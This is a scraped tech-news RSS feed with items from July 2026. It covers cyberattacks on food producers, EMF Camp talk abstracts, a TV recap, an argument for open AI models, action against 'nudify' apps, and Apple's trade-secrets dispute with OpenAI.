On July 16, a<a href="https://thecyberexpress.com/nichirei-cyberattack-disrupts-supply-chain/" target="_blank" rel="noopener"> cyberattack targeting Nichirei disrupted</a> food deliveries across Japan after the frozen food and logistics provider confirmed unauthorized access to its servers. The incident affected logistics operations supporting KFC Japan, leading to temporary service disruptions while systems were being restored.

Earlier this year, in February 2026, Australian poultry processor Hazeldenes also experienced a <a href="https://thecyberexpress.com/hazeldenes-cyberattack-australia/" target="_blank" rel="nofollow noopener">cybersecurity incident</a> that disrupted production across its network. The Victoria-based company later announced it had begun a phased return to production to restore operations safely and securely while investigations continued.

The latest incident involving fairlife adds another major food producer to the list of companies dealing with operational disruptions linked to cyber incidents. While production has been paused at fairlife's U.S. facilities, the company has maintained that product quality and safety remain unaffected and that its Canadian production continues without disruption.

As the investigation progresses, The Coca-Cola Company said it remains focused on restoring impacted systems and resuming normal production operations. The company also noted that the complete scope and potential business impact of the incident have not yet been determined.]]></content:encoded>
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<title><![CDATA[Training AI models might be the chance for a workplace power play]]></title>
<description><![CDATA[It is becoming clear that the knowledge they require is currently locked inside employees’ heads]]></description>
<link>https://tsecurity.de/de/3680267/ai-nachrichten/training-ai-models-might-be-the-chance-for-a-workplace-power-play/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680267/ai-nachrichten/training-ai-models-might-be-the-chance-for-a-workplace-power-play/</guid>
<pubDate>Mon, 20 Jul 2026 07:48:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It is becoming clear that the knowledge they require is currently locked inside employees’ heads]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Agent Kim Reactivated’ Season 1, Episode 8 Recap: Kim Takes on One Final Mission]]></title>
<description><![CDATA[Agent Kim Reactivated Season 1, Episode 8 places Kim Do-hyeon inside another deadly operation after the authorities use his daughter’s safety to force him back into service.



Kim learns the truth about his imprisonment



Episode 8 begins with Kim trapped inside what appears to be a North Korea...]]></description>
<link>https://tsecurity.de/de/3680124/ios-mac-os/agent-kim-reactivated-season-1-episode-8-recap-kim-takes-on-one-final-mission/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680124/ios-mac-os/agent-kim-reactivated-season-1-episode-8-recap-kim-takes-on-one-final-mission/</guid>
<pubDate>Mon, 20 Jul 2026 01:24:34 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Season 1, Episode 8 places Kim Do-hyeon inside another deadly operation after the authorities use his daughter’s safety to force him back into service.



Kim learns the truth about his imprisonment



Episode 8 begins with Kim trapped inside what appears to be a North Korean interrogation facility. Soldiers torture him for several days, but he refuses to reveal any information.



The situation changes when one of the interrogators threatens Min-ji. Kim immediately fights back, only to discover that the entire prison setup was a test organised by South Korean officials.



Mole Cricket explains that the authorities still need Kim’s skills. They offer him and Min-ji new identities, but Kim must first complete one final mission.



Kim agrees on two conditions. Min-ji must remain safe, while Han-su and Jin-cheol must be released. The officials accept his terms, giving Kim little choice but to return to the dangerous life he tried to leave behind.



What happened before Episode 8?



In Episode 7, Kim finally reunited with Min-ji after fighting through several groups trying to capture them. He also defeated Ju Gang-chan, who had threatened his daughter and attempted to recruit him.



Min-ji stopped Kim from killing Ju and forced him to seek an apology instead. Kim later prepared a final meal for his daughter before surrendering himself to the authorities.



The episode ended with Kim waking inside the prison, making it appear that he had been secretly transported to North Korea.



Kim protects a North Korean defector



Kim’s new mission involves protecting an important North Korean official seeking asylum in South Korea. The defector carries sensitive information that could influence negotiations between the two countries.



Kim takes the man to a safe house while Sang-a prepares for the next stage of the operation. However, Ju Gang-chan begins working with North Korean officials to capture the defector before he can reveal what he knows.



Armed attackers soon raid the safe house. Kim uses a decoy plan, sending part of his team through the woods while he escapes through another route with the defector.



Kim quickly realises that the attackers knew too much about the mission. Their timing and knowledge suggest that someone inside the SMD leaked the safe house location.



Episode 8 ending explained



Kim eventually meets Han-su and Jin-cheol, bringing the three former agents together again. Their reunion lasts only a few moments before Mole Cricket arrives with SMD forces.



Mole Cricket claims that Kim failed to complete his assignment. He then announces that Kim will be sent back to North Korea.



The cliffhanger raises several questions. Mole Cricket could be involved in the information leak, or he may be following orders from someone inside the government. Kim must now uncover the traitor while protecting the defector, Min-ji and his closest allies.



Episode 8 expands the story beyond Min-ji’s kidnapping and introduces a larger conflict involving political corruption, secret deals and betrayal inside the intelligence service.



Do you think Mole Cricket betrayed Kim, or is he hiding another part of the mission? Let us know in the comments.]]></content:encoded>
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<item>
<title><![CDATA[So - how does the Internet really work (emf2026)]]></title>
<description><![CDATA[Learn about the fascinating and fun world of computer networks and the Internet - with no previous knowledge required. 

Have you ever wondered how the Internet works? Or computer networks in general? Have you tried learning this in the past, but found it too confusing or intimidating? Then this ...]]></description>
<link>https://tsecurity.de/de/3680030/it-security-video/so-how-does-the-internet-really-work-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680030/it-security-video/so-how-does-the-internet-really-work-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 23:48:10 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Learn about the fascinating and fun world of computer networks and the Internet - with no previous knowledge required. 

Have you ever wondered how the Internet works? Or computer networks in general? Have you tried learning this in the past, but found it too confusing or intimidating? Then this talk might be for you.

We will start with a walkthrough of how data crosses your home network. Building on this, we will talk about how data reaches your internet provider continues its travels through the Internet. We will briefly touch on different technologies that are used (cabled vs wifi networking), and give a high-level explanation of how pathfinding works in the Internet. Afterwards you will have an idea of how Ethernet, and common Internet Protocols (DHCP, DNS, BGP).

While we cannot cover everything, we will show you how to learn more about this fascinating world. The talk will mention how you can use network simulators or participate in large distributed networks to try different Internet technologies yourself.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/98-so-how-does-the-internet-really-work]]></content:encoded>
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<item>
<title><![CDATA[How To Debug A Human: An Engineer’s Guide To Emergency Medicine (emf2026)]]></title>
<description><![CDATA[What does designing software have in common with keeping people alive? More than you might think, probably. Decomposing software problems might take different knowledge than turning syndromes into diagnoses, but if you’ve got the skills to do one, you’re well on your way to the other. Join a comp...]]></description>
<link>https://tsecurity.de/de/3679794/it-security-video/how-to-debug-a-human-an-engineers-guide-to-emergency-medicine-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679794/it-security-video/how-to-debug-a-human-an-engineers-guide-to-emergency-medicine-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 19:38:28 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What does designing software have in common with keeping people alive? More than you might think, probably. Decomposing software problems might take different knowledge than turning syndromes into diagnoses, but if you’ve got the skills to do one, you’re well on your way to the other. Join a computer scientist turned ambulance crew, awaiting results on their Masters in Paramedic Science, to learn how to take a software engineering approach to saving a life – from the roadside all the way to the bedside in A&amp;E. No prior knowledge required: you won’t get a qualification, or medical advice, but you will learn what a primary survey has to do with requirements-gathering, how to put a breakpoint in a patient’s heart without opening them up, and how screwing in a lightbulb can tell you what part of someone’s brain is broken.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/77-how-to-debug-a-human]]></content:encoded>
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<item>
<title><![CDATA[How To Debug A Human: An Engineer’s Guide To Emergency Medicine (emf2026)]]></title>
<description><![CDATA[What does designing software have in common with keeping people alive? More than you might think, probably. Decomposing software problems might take different knowledge than turning syndromes into diagnoses, but if you’ve got the skills to do one, you’re well on your way to the other. Join a comp...]]></description>
<link>https://tsecurity.de/de/3679776/it-security-video/how-to-debug-a-human-an-engineers-guide-to-emergency-medicine-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679776/it-security-video/how-to-debug-a-human-an-engineers-guide-to-emergency-medicine-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 19:08:40 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What does designing software have in common with keeping people alive? More than you might think, probably. Decomposing software problems might take different knowledge than turning syndromes into diagnoses, but if you’ve got the skills to do one, you’re well on your way to the other. Join a computer scientist turned ambulance crew, awaiting results on their Masters in Paramedic Science, to learn how to take a software engineering approach to saving a life – from the roadside all the way to the bedside in A&amp;E. No prior knowledge required: you won’t get a qualification, or medical advice, but you will learn what a primary survey has to do with requirements-gathering, how to put a breakpoint in a patient’s heart without opening them up, and how screwing in a lightbulb can tell you what part of someone’s brain is broken.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/77-how-to-debug-a-human]]></content:encoded>
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<item>
<title><![CDATA[Former Richard Stallman Colleague Now Argues for Open AI Models Too]]></title>
<description><![CDATA[Long-time Slashdot reader theodp writes:


Recalling his initial resistance to free and open software, billionaire computer scientist David Siegel argues vigorously in FORTUNE that the stakes are too high to let AI become increasingly closed. "In the 1980s, I had the chance to spend several years...]]></description>
<link>https://tsecurity.de/de/3679626/it-security-nachrichten/former-richard-stallman-colleague-now-argues-for-open-ai-models-too/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679626/it-security-nachrichten/former-richard-stallman-colleague-now-argues-for-open-ai-models-too/</guid>
<pubDate>Sun, 19 Jul 2026 16:52:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Long-time Slashdot reader theodp writes:


Recalling his initial resistance to free and open software, billionaire computer scientist David Siegel argues vigorously in FORTUNE that the stakes are too high to let AI become increasingly closed. "In the 1980s, I had the chance to spend several years arguing about free and open software, what we now call open source, with the founder of the movement, Richard Stallman. My office at the MIT AI Lab was next door to his. Stallman's position was that the source code to software should be free for everyone to use, learn from, and improve. Software encapsulates knowledge, he argued, and no one should lock something so fundamental away. To hide software inside a company was to hide knowledge itself... What I missed was that software was not just a commercial asset; it was a body of knowledge, and bodies of knowledge grow stronger when they are shared. After about two years of on-and-off debate, Stallman convinced me I was wrong." 

 "Now the AI fight is the same — only bigger," advises Siegel. "AI is software, and AI is increasingly closed. The frontier models — the most advanced, cutting-edge AI systems — are closed completely and the trend is accelerating. Viable open alternatives are few and far between." So, what to do...? "Yes, frontier models keep getting bigger and more expensive — that arms race may well stay with the giants. But open source AI does not have to match their scale to be useful. Much of what the world needs probably does not require the absolute frontier. And where keeping a credible open option does demand serious compute, that is precisely the kind of public good worth paying for. 

"What's missing is not a path but will. The government, the private sector, and nonprofits should invest heavily in free and open source AI — the way they once invested in open software: public compute grants for open research, corporate and philanthropic support for universities and nonprofits doing the work, and a simple rule that AI built with public money is open by default. 

"We have run this experiment before. We know how it turns out. Let's not unlearn it."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Former+Richard+Stallman+Colleague+Now+Argues+for+Open+AI+Models+Too%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F19%2F0631207%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F19%2F0631207%2Fformer-richard-stallman-colleague-now-argues-for-open-ai-models-too%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/19/0631207/former-richard-stallman-colleague-now-argues-for-open-ai-models-too?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Think you're the ultimate Tom Holland Spider-Man fan? Put your knowledge to the test against our Marvel mastermind in this tricky MCU quiz]]></title>
<description><![CDATA[Spider-Man: Brand New Day swings into theaters very soon — and we want to see how much you know about Tom Holland's MCU career before it does.]]></description>
<link>https://tsecurity.de/de/3679499/it-nachrichten/think-youre-the-ultimate-tom-holland-spider-man-fan-put-your-knowledge-to-the-test-against-our-marvel-mastermind-in-this-tricky-mcu-quiz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679499/it-nachrichten/think-youre-the-ultimate-tom-holland-spider-man-fan-put-your-knowledge-to-the-test-against-our-marvel-mastermind-in-this-tricky-mcu-quiz/</guid>
<pubDate>Sun, 19 Jul 2026 15:02:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Spider-Man: Brand New Day swings into theaters very soon — and we want to see how much you know about Tom Holland's MCU career before it does.]]></content:encoded>
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<title><![CDATA[Scientifically ruining the interfaces in children’s shows (emf2026)]]></title>
<description><![CDATA[Previously, I used scientific research in the field of Human Computer Interaction to point out huge flaws in interface designs seen in film and tv. I’ve had two kids since then so all I see are kids shows now. Turns out the issues persist and the academic study of how we interact with technology ...]]></description>
<link>https://tsecurity.de/de/3679401/it-security-video/scientifically-ruining-the-interfaces-in-childrens-shows-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679401/it-security-video/scientifically-ruining-the-interfaces-in-childrens-shows-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:33:34 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Previously, I used scientific research in the field of Human Computer Interaction to point out huge flaws in interface designs seen in film and tv. I’ve had two kids since then so all I see are kids shows now. Turns out the issues persist and the academic study of how we interact with technology has a lot to say about the design of Mickey Mouse’s club house. 

A light hearted talk to discuss interesting scientific theories through the silly lens of children’s tv shows. The audience do not need a working knowledge of any children's shows to enjoy!

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/276-scientifically-ruining-the-interfaces-in-children-s-shows]]></content:encoded>
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<item>
<title><![CDATA[Reverse Engineering 007: Nightfire (emf2026)]]></title>
<description><![CDATA[A talk discussing how a small team of people have begun to decompile, reverse engineer and rewrite 007: Nightfire, a PS2/Xbox/GameCube game from 2002.

It'll have discussion of Nightfire specifically:
- What we've learned about the game so far
- Pitfalls - link-time optimisation, missing symbols
...]]></description>
<link>https://tsecurity.de/de/3678679/it-security-video/reverse-engineering-007-nightfire-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678679/it-security-video/reverse-engineering-007-nightfire-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 02:47:43 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A talk discussing how a small team of people have begun to decompile, reverse engineer and rewrite 007: Nightfire, a PS2/Xbox/GameCube game from 2002.

It'll have discussion of Nightfire specifically:
- What we've learned about the game so far
- Pitfalls - link-time optimisation, missing symbols
- Ghidra for reverse engineering + transposing knowledge across platforms
- The tools we've built so far
- Code injection into an emulator for testing
- Where we're intending the project will go
- What we're still missing / how you could contribute

There'll also be discussion about game reverse engineering more generally:
- How to start a reverse engineering project from scratch
- Importance of community / how much of a time commitment a source decompilation would be
- Operating in an intellectual property grey zone / the role of reverse engineering in preservation

Concluding with a live demonstration, if the demo gods permit it.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/277-reverse-engineering-007-nightfire]]></content:encoded>
</item>
<item>
<title><![CDATA[Reverse Engineering 007: Nightfire (emf2026)]]></title>
<description><![CDATA[A talk discussing how a small team of people have begun to decompile, reverse engineer and rewrite 007: Nightfire, a PS2/Xbox/GameCube game from 2002.

It'll have discussion of Nightfire specifically:
- What we've learned about the game so far
- Pitfalls - link-time optimisation, missing symbols
...]]></description>
<link>https://tsecurity.de/de/3678670/it-security-video/reverse-engineering-007-nightfire-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678670/it-security-video/reverse-engineering-007-nightfire-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 02:33:08 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A talk discussing how a small team of people have begun to decompile, reverse engineer and rewrite 007: Nightfire, a PS2/Xbox/GameCube game from 2002.

It'll have discussion of Nightfire specifically:
- What we've learned about the game so far
- Pitfalls - link-time optimisation, missing symbols
- Ghidra for reverse engineering + transposing knowledge across platforms
- The tools we've built so far
- Code injection into an emulator for testing
- Where we're intending the project will go
- What we're still missing / how you could contribute

There'll also be discussion about game reverse engineering more generally:
- How to start a reverse engineering project from scratch
- Importance of community / how much of a time commitment a source decompilation would be
- Operating in an intellectual property grey zone / the role of reverse engineering in preservation

Concluding with a live demonstration, if the demo gods permit it.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/277-reverse-engineering-007-nightfire]]></content:encoded>
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<item>
<title><![CDATA[So you want to go to space? (emf2026)]]></title>
<description><![CDATA[This humorous talk, needing no prior knowledge of rocketry or space travel, will take a walk through different ways humans have considered getting to space. 

From things that actually work, to the things that could theoretically work if you ignore things like safety or the rest of humanity, via ...]]></description>
<link>https://tsecurity.de/de/3678321/it-security-video/so-you-want-to-go-to-space-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678321/it-security-video/so-you-want-to-go-to-space-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 19:22:30 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This humorous talk, needing no prior knowledge of rocketry or space travel, will take a walk through different ways humans have considered getting to space. 

From things that actually work, to the things that could theoretically work if you ignore things like safety or the rest of humanity, via things that should work but only on other celestial objects. 

With pictures, diagrams, and increasingly abstract sketches. While some of the ideas may seem a quite sci-fi this will only cover things people have (semi) seriously considered and have known physics. No hyper drives, wormholes, or dilithium crystals here. You won’t believe number 8.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/161-so-you-want-to-go-to-space]]></content:encoded>
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<title><![CDATA[So you want to go to space? (emf2026)]]></title>
<description><![CDATA[This humorous talk, needing no prior knowledge of rocketry or space travel, will take a walk through different ways humans have considered getting to space. 

From things that actually work, to the things that could theoretically work if you ignore things like safety or the rest of humanity, via ...]]></description>
<link>https://tsecurity.de/de/3678304/it-security-video/so-you-want-to-go-to-space-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678304/it-security-video/so-you-want-to-go-to-space-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 19:10:05 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This humorous talk, needing no prior knowledge of rocketry or space travel, will take a walk through different ways humans have considered getting to space. 

From things that actually work, to the things that could theoretically work if you ignore things like safety or the rest of humanity, via things that should work but only on other celestial objects. 

With pictures, diagrams, and increasingly abstract sketches. While some of the ideas may seem a quite sci-fi this will only cover things people have (semi) seriously considered and have known physics. No hyper drives, wormholes, or dilithium crystals here. You won’t believe number 8.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/161-so-you-want-to-go-to-space]]></content:encoded>
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<item>
<title><![CDATA[Take Better Pictures with SCIENCE! (emf2026)]]></title>
<description><![CDATA[They say that the best camera is the one you have with you, and while anyone can point and shoot a cell phone at something and walk away with a decent snapshot, to make a good image, a little knowledge of math and physics goes a long way. The problem is, words like "math" and "physics" can be jus...]]></description>
<link>https://tsecurity.de/de/3678052/it-security-video/take-better-pictures-with-science-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678052/it-security-video/take-better-pictures-with-science-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 15:19:50 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[They say that the best camera is the one you have with you, and while anyone can point and shoot a cell phone at something and walk away with a decent snapshot, to make a good image, a little knowledge of math and physics goes a long way. The problem is, words like &quot;math&quot; and &quot;physics&quot; can be just as intimidating to a creative as &quot;art&quot; is to someone with a more analytic approach to the world. Combine that with a discipline full of old white dudes who gatekeep photography by talking about megapixels and fast glass, and many people put down the idea of creating great photos and just settle for good enough images. But photography is for everyone! It is the marriage of art and science! In my talk, I'll briefly discuss how a camera sensor works and what the exposure triangle (aka &quot;The Triangle of Doom&quot;) is, and then we'll get into the practical tips for using the science of light and a bit of art theory pulled from math (golden ratio, anyone?) to create kick ass images with any smart phone, point-and-shoot camera, smart glasses, or toy camera.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/90-take-better-pictures-with-science]]></content:encoded>
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<title><![CDATA[Take Better Pictures with SCIENCE! (emf2026)]]></title>
<description><![CDATA[They say that the best camera is the one you have with you, and while anyone can point and shoot a cell phone at something and walk away with a decent snapshot, to make a good image, a little knowledge of math and physics goes a long way. The problem is, words like "math" and "physics" can be jus...]]></description>
<link>https://tsecurity.de/de/3677976/it-security-video/take-better-pictures-with-science-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677976/it-security-video/take-better-pictures-with-science-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 14:17:54 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[They say that the best camera is the one you have with you, and while anyone can point and shoot a cell phone at something and walk away with a decent snapshot, to make a good image, a little knowledge of math and physics goes a long way. The problem is, words like &quot;math&quot; and &quot;physics&quot; can be just as intimidating to a creative as &quot;art&quot; is to someone with a more analytic approach to the world. Combine that with a discipline full of old white dudes who gatekeep photography by talking about megapixels and fast glass, and many people put down the idea of creating great photos and just settle for good enough images. But photography is for everyone! It is the marriage of art and science! In my talk, I'll briefly discuss how a camera sensor works and what the exposure triangle (aka &quot;The Triangle of Doom&quot;) is, and then we'll get into the practical tips for using the science of light and a bit of art theory pulled from math (golden ratio, anyone?) to create kick ass images with any smart phone, point-and-shoot camera, smart glasses, or toy camera.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/90-take-better-pictures-with-science]]></content:encoded>
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<title><![CDATA[Shark’s versatile ChillPill cooling system is back to its best price]]></title>
<description><![CDATA[Portable fans are one of the easiest ways to stay cool during the summer, and you don’t have to spend much to find a decent one. If you’re looking for something more versatile, though, Shark’s ChillPill Personal Fan and Cooling System combines a rechargeable fan with a dry-touch evaporative miste...]]></description>
<link>https://tsecurity.de/de/3676999/it-nachrichten/sharks-versatile-chillpill-cooling-system-is-back-to-its-best-price/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676999/it-nachrichten/sharks-versatile-chillpill-cooling-system-is-back-to-its-best-price/</guid>
<pubDate>Fri, 17 Jul 2026 22:31:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Portable fans are one of the easiest ways to stay cool during the summer, and you don’t have to spend much to find a decent one. If you’re looking for something more versatile, though, Shark’s ChillPill Personal Fan and Cooling System combines a rechargeable fan with a dry-touch evaporative mister in a design that can […]]]></content:encoded>
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<title><![CDATA[Apple ordered to remove 8 'nudify' AI apps from the iPhone's App Store]]></title>
<description><![CDATA[Apple has been accused of "aiding and abetting" the use of "nudify" AI apps on the iPhone, with San Francisco City Attorney David Chiu demanding they be removed from the App Store in a new cease-and-desist letter sent to the company.AI nudity apps are a problem for the App StoreA Wired report not...]]></description>
<link>https://tsecurity.de/de/3676687/ios-mac-os/apple-ordered-to-remove-8-nudify-ai-apps-from-the-iphones-app-store/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676687/ios-mac-os/apple-ordered-to-remove-8-nudify-ai-apps-from-the-iphones-app-store/</guid>
<pubDate>Fri, 17 Jul 2026 19:26:42 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has been accused of "aiding and abetting" the use of "nudify" AI apps on the iPhone, with San Francisco City Attorney David Chiu demanding they be removed from the <a href="https://appleinsider.com/inside/app-store" title="App Store" data-kpt="1">App Store</a> in a new cease-and-desist letter sent to the company.<br><br><div><img src="https://photos5.appleinsider.com/gallery/66513-139521-censoredappstore-xl.jpg" alt="Blue rounded square App Store style icon with white stylized letter A, right side heavily pixelated, set against a blurred brown and beige background" height="738" class=""><br><span>AI nudity apps are a problem for the App Store</span></div><br>A <em>Wired</em> <a href="https://www.wired.com/story/san-francisco-demands-apple-and-google-delete-ai-nudify-apps-from-app-stores/">report</a> notes that both Apple and Google have been told to prevent the sale of AI apps that can be used to create deepfake images. They must also "sever" business relationships with all of the developers responsible for the apps.<br><br>So-called <a href="https://appleinsider.com/articles/26/01/28/moral-low-ground-app-store-is-rife-with-ai-nudify-apps">"nudify" apps</a> have been around for some time. They allow users to create non-consensual intimate images of others, often minors, without the knowledge of the subject.<br><br><br> <a href="https://appleinsider.com/articles/26/07/17/apple-ordered-to-remove-8-nudify-ai-apps-from-the-iphones-app-store?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244983?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Apple widens OpenAI trade secrets fight with preservation orders]]></title>
<description><![CDATA[Dozens of former Apple employees now working at OpenAI have been put on notice after Apple reportedly sent legal letters ordering them to preserve documents and communications relevant to its trade secrets lawsuit against OpenAI. 



The Financial Times reports that “around 40” employees have bee...]]></description>
<link>https://tsecurity.de/de/3676186/it-nachrichten/apple-widens-openai-trade-secrets-fight-with-preservation-orders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676186/it-nachrichten/apple-widens-openai-trade-secrets-fight-with-preservation-orders/</guid>
<pubDate>Fri, 17 Jul 2026 15:32:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Dozens of former Apple employees now working at OpenAI have been put on notice after Apple reportedly sent legal letters ordering them to preserve documents and communications relevant to its trade secrets lawsuit against OpenAI. </p>



<p class="wp-block-paragraph"><a href="https://www.ft.com/content/1b8c9d52-88a9-426b-ba47-f1811f859166" target="_blank" rel="noreferrer noopener">The Financial Times reports</a> that “around 40” employees have been targeted with these letters, which repeat Apple’s claim that its confidential information might have been exfiltrated, alleging “trade secret misappropriation and breach of contract.”  The letters also require them to arrange to meet with Apple’s lawyers.</p>



<h2 class="wp-block-heading"><strong>The underlying lawsuit</strong></h2>



<p class="wp-block-paragraph">This comes on the heels of <a href="https://www.computerworld.com/article/4195828/rotten-to-its-core-apple-files-an-explosive-lawsuit-against-openai.html">Apple’s explosive lawsuit against OpenAI</a> in which Apple accused the AI company (and former Apple Vice President Tang Tan) of extensive coordinated data theft. Tan was at Apple for 24 years and is now Chief Hardware Officer at OpenAI. </p>



<p class="wp-block-paragraph">Apple’s lawsuit is defined by claims OpenAI took a range of steps to pry confidential Apple data from existing Apple employees, including using information such as internal project code names, to gain even more knowledge during interviews. The company says the evidence it has presented so far is only the “tip of the iceberg” concerning OpenAI’s approach.</p>



<p class="wp-block-paragraph">The lawsuit requests that OpenAI be prevented from using any Apple information during the development of its hardware. Apple is also seeking damages and suing two former employees for breach of contract for violating their employment agreements.</p>



<p class="wp-block-paragraph">The letters are significant. They represent formal directives that require former Apple staff to preserve documents, messages, emails, and other communications that could be relevant to the case. The demand reflects Apple’s belief that the alleged misuse of confidential information could be more widespread across the competing company. What’s critical is that orders of this kind override any standard data destruction policy and deletion of the requested information becomes a legal offense. </p>



<h2 class="wp-block-heading"><strong>Why this matters beyond the protagonists</strong></h2>



<p class="wp-block-paragraph">In making its move, Apple shows this is not a dispute about just one or two hires, but an attempt to constrain the movement of intellectual property between the two firms. With AI hardware emerging as the next major battleground in tech, the case could become a defining one; whatever resolution is eventually reached could define the extent to which former employees can carry experience and knowledge between competing firms. The case might also define what the line is between experience and knowledge and the sharing of trade secrets.</p>



<p class="wp-block-paragraph">This is important, because modern hardware development relies on <a href="https://www.applemust.com/openai-discovers-it-takes-time-not-just-design-to-build-great-hardware/#google_vignette" target="_blank" rel="noreferrer noopener">far more than just finished designs</a>. Product design leans into supplier relationships, manufacturing assumptions, physics, extensive prototyping, and product-roadmap priorities. If courts treat those accumulated insights as protectable secrets, hiring between major technology companies could become far more legally sensitive.</p>



<h2 class="wp-block-heading"><strong>The Jony Ive question</strong></h2>



<p class="wp-block-paragraph">The case comes as Apple prepares to <a href="https://www.computerworld.com/article/3992592/jony-ive-and-openai-plan-bicycles-for-21st-century-minds.html">combat OpenAI in hardware</a>. Its competitor is <a href="https://openai.com/sam-and-jony/" target="_blank" rel="noreferrer noopener">now working with legendary former Apple designer Jony Ive</a>. Ive is not named in the litigation, but Apple will be keen to find out whether confidential product knowledge, design processes, or supply-chain insights have travelled with former staff into OpenAI’s device work.</p>



<p class="wp-block-paragraph">Ultimately, for Apple, it’s about protecting its many blueprints for whatever hardware the company expects will come after the iPhone.</p>



